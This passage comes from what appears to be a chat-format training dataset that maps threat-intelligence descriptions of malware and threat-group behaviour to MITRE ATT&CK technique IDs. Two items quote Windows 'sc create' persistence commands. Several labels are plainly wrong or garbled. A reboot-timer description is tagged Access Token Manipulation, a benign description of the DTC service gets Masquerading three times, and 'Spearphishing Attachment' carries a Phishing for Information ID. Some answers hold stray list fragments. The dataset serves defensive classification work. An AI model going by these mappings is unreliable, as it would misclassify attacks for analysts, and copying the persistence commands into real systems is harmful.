                "content": "Machete has scanned and looked for cryptographic keys and certificate file extensions."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Conti can discover files on a local system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "STARWHALE has the ability to create the following Windows service to establish persistence on an infected host: `sc create Windowscarpstss binpath= \"cmd.exe /c cscript.exe c:\\\\windows\\\\system32\\\\w7_1.wsf humpback_whale\" start= \"auto\" obj= \"LocalSystem\"`."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the driver is loaded, the VSS service is disabled using the Control Service Manager. Following this, a number of additional threads are created. A thread is created to handle the system reboot. It will sleep for the time specified by a command line parameter of 35 minutes, at which point the system will be restarted by an API call to InitializeSystemShutdownExW"
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti for Linux has used a modified copy of the open-source userland rootkit Azazel, named libxselinux.so, to hide the malware's operations and network activity."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. This domain was not only used to send the phishing e-mails, but also to track which targets opened the e-mail. Within each of the HTML-formatted messages, an embedded image tag is used to beacon home to the attacker's domain, containing an unique identifier specific to the recipient. While the use of e-mail recipient tracking, a linked RTF document, and a final payload (QuasarRAT variant) remained the same, certain elements differed across campaigns observed. Exploitation and Malware Execution . Upon opening the above attachments, the recipient will be presented with a document that is a direct copy of a blog post or report released by the think tank organization being impersonated. Its called the \"packager trick\" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\\Users\\%username%\\AppData\\Local\\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious \"scriptlet\" file, or .sct file, which is also embedded in the malicious RTF document. The Patchwork threat actors also appear to have adopted a technique seen from other APT groups where they are now tracking the effectiveness of their campaigns by recording which recipients have opened the phishing message. Contact . Connect . This Website uses cookies, which are necessary to its functioning and required to achieve the purposes illustrated in our Cookie Policy"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used WMI event subscriptions for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File hunting plugin: The most frequently used plugin, similar to one used in 2014. Often used to collect Office files from temporary internet history. Detailed survey plugin: Used to gather domain membership, processes/loaded modules, hardware enumeration, installed products, logical and mapped drive information. Evolution of earlier plugin used in 2014. Browser plugin: Used to steal browser history, stored passwords and sessions. Works with Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex. File listing plugin: Works on local or remote drives and can map additional paths when given credentials"
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dridex can perform browser attacks via web injects to steal information such as credentials, certificates, and cookies."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Penquin can execute the command code \"do_download\" to retrieve remote files from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has acquired Amazon S3 buckets to use in C2."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To establish persistence, SslMM identifies the Start Menu Startup directory and drops a link to its own executable disguised as an “Office Start,” “Yahoo Talk,” “MSN Gaming Z0ne,” or “MSN Talk” shortcut."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On June 21st, 2017 an attacker breached one of our monitored systems by brute-forcing SSH credentials using two IPs known to be part of the TOR network"
            },
            {
                "role": "assistant",
                "content": "T1110 - Brute Force"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has obtained and used a variety of tools including Mimikatz, SDelete, Tor, meek, and Cobalt Strike."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has used VBA and embedded macros in Word documents to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to decrypt the loader configuration and payload DLL."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Several Lazarus Group malware families use timestomping, including modifying the last write timestamp of a specified Registry key to a random date, as well as copying the timestamp for legitimate .exe files (such as calc.exe or mspaint.exe) to its dropped files."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TYPEFRAME can upload and download files to the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "esentutl can be used to collect data from local file systems."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ASPXTool — A modified version of the ASPXSpy web shell (see Figure 6)"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "macOS.OSAMiner can parse the output of the native `system_profiler` tool to determine if the machine is running with 4 cores."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GreyEnergy can download additional modules and payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 created a Scheduled Task/Job that used regsvr32.exe to execute a COM scriptlet that dynamically downloaded a backdoor and injected it into memory. The group has also used regsvr32 to run their backdoor."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the case of Astaroth trojan, the .lnk file contains an argument into WMIC.exe to run in non-interactive mode, which forgoes opening a window that the victim could notice, to download the hardcoded url in the .lnk"
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling can store a file named `mpsvc.dll`, which opens a malicious `mpsvc.mui` file, in the same folder as the legitimate Microsoft executable `MsMpEng.exe` to gain execution."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca created a service using the command \"sc create “SysUpdate” binpath= “cmd /c start “[file path]””&&sc config “SysUpdate” start= auto&&net\nstart SysUpdate\" for persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has restored malicious KernelCallbackTable code to its original state after the process execution flow has been hijacked."
            },
            {
                "role": "assistant",
                "content": "T1070 - Indicator Removal on Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DDKONG uses Rundll32 to ensure only a single instance of itself is running at once."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has distributed targeted emails containing Word documents with embedded malicious macros."
            },
            {
                "role": "assistant",
                "content": "T1598.002 - Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HotCroissant has the ability to determine if the current user is an administrator, Windows product name, processor name, screen resolution, and physical RAM of the infected host."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has decrypted ELF files with AES."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used Windows DDE for execution of commands and a malicious VBS."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Distributed Transaction Coordinator (DTC) service coordinates transactions that update two or more transaction-protected resources, such as databases, message queues, files systems, and so on. These transaction-protected resources may be on a single computer or distributed across many networked computers"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.005 - Masquerading: Match Legitimate Name or Location', 'T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RunningRAT contains code to clear event logs."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal on Host: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A gh0st RAT variant has used DLL side-loading."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ObliqueRAT can copy specific files, webcam captures, and screenshots to local directories."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "!ProcessList List running processes, including their PID, parent PID, executable name and priority   !SendFileToServer Uploads a specified file to the C2 server   !CaptureScreen Takes a screenshot that it saves to a file and uploads to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Character  Digit   h 0   i 1   j 2   k 3   l 4   m 5   n 6   o 7   p 8   q 9    Table 4 Character substitution used in RogueRobin The Trojan will use future DNS requests to retrieve jobs from the C2 server, which the Trojan will handle as commands"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PowerShower, named and previously disclosed by Palo Alto Networks in their blogspot (see above), is a malicious piece of PowerShell designed to receive PowerShell and VBS modules to execute on the local computer. This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage. The differences in the two versions reside mostly in anti-forensics features for the validator version of PowerShower"
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has used scheduled tasks to execute malicious PowerShell code on remote systems."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As described in the analysis of the group’s previous macOS backdoor, a clientID is created. This identifier is the MD5 hash of the return value of one of the following commands"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackMatter leverages legitimate remote monitoring and management software and remote desktop software, often by setting up trial accounts, to maintain persistence on victim networks."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silence has used compromised credentials to log on to other systems and escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as “Net Monitor.\""
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny has used EnumProcesses() to identify how many process are running in the environment."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can detect VMWare via its I/O port and Virtual PC via the \"vpcext\" instruction."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DarkWatchman can search for anti-virus products on the system."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "allows adversaries to execute shell commands on the infected host."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Siloscape searches for the kubectl binary."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Downloaded payload is a variant of a cloud-based RAT known as RokRat which has been used by this group since 2017. This RAT is known to steal data from a victim’s machine and send them to cloud services (Pcloud, Dropbox, Box, Yandex"
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxxZ has created a snapshot of running processes using `CreateToolhelp32Snapshot`."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group delivered RATANKBA and other malicious code to victims via a compromised legitimate website."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to bypass UAC using a `passuac.dll` file."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can take screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy contains a keylogger."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DustySky extracts basic information about the operating system."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Suckfly used legitimate account credentials that they dumped to navigate the internal victim network as though they were the legitimate account owner."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ThiefQuest searches through the \"/Users/\" folder looking for executable files. For each executable, ThiefQuest prepends a copy of itself to the beginning of the file. When the file is executed, the ThiefQuest code is executed first. ThiefQuest creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Host Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Javali can use DLL side-loading to load malicious DLLs into legitimate executables."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of creating a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 actors have used gsecdump to dump credentials. They have also dumped credentials from domain controllers."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager', 'T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Wizard Spider has used taskkill.exe and net.exe to stop backup, catalog, cloud, and other services prior to network encryption."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors scanned for open ports and used nbtscan to find NETBIOS nameservers."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIN8 has used scheduled tasks to maintain RDP backdoors."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao can proxy traffic through multiple infected systems."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 1 – The wrapper DLL poses as a legitimate mpr.dll library, both by its name and version info"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SDBbot can collected the country code of a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole has used a custom implementation of DNS tunneling to embed C2 communications in DNS requests and replies."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FIVEHANDS can enumerate network shares and mounted drives on a network."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If elevated privileges are not obtained, the malware falls back to using the same Windows registry run key as the older mode variant for persistence HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. For each service, the malware attempts to take control of the service’s executable — first using icacls.exe with the /reset flag to reset the executable’s permissions, then using takeown.exe with the /F flag to take ownership of the executable"
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
